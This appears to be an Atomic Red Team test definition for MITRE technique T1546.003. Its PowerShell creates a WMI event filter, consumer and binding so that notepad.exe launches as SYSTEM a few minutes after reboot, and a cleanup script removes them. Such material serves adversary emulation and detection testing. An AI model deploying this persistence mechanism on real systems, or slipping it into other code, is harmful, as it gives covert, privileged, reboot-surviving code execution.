attack_technique: T1546.003
display_name: 'Event Triggered Execution: Windows Management Instrumentation Event Subscription'
atomic_tests:
- name: Persistence via WMI Event Subscription
  auto_generated_guid: 3c64f177-28e2-49eb-a799-d767b24dd1e0
  description: |
    Run from an administrator powershell window. After running, reboot the victim machine.
    After it has been online for 4 minutes you should see notepad.exe running as SYSTEM.

    Code references

    https://gist.github.com/mattifestation/7fe1df7ca2f08cbfa3d067def00c01af

    https://github.com/EmpireProject/Empire/blob/master/data/module_source/persistence/Persistence.psm1#L545
  supported_platforms:
  - windows
  executor:
    command: |
      $FilterArgs = @{name='AtomicRedTeam-WMIPersistence-Example';
                      EventNameSpace='root\CimV2';
                      QueryLanguage="WQL";
                      Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"};
      $Filter=New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $FilterArgs

      $ConsumerArgs = @{name='AtomicRedTeam-WMIPersistence-Example';
                      CommandLineTemplate="$($Env:SystemRoot)\System32\notepad.exe";}
      $Consumer=New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $ConsumerArgs

      $FilterToConsumerArgs = @{
      Filter = [Ref] $Filter;
      Consumer = [Ref] $Consumer;
      }
      $FilterToConsumerBinding = New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $FilterToConsumerArgs
    cleanup_command: |
      $EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = 'AtomicRedTeam-WMIPersistence-Example'"
      $EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = 'AtomicRedTeam-WMIPersistence-Example'"
      $FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding" -ErrorAction SilentlyContinue
      $FilterConsumerBindingToCleanup | Remove-WmiObject
      $EventConsumerToCleanup | Remove-WmiObject
      $EventFilterToCleanup | Remove-WmiObject
    name: powershell
    elevation_required: true

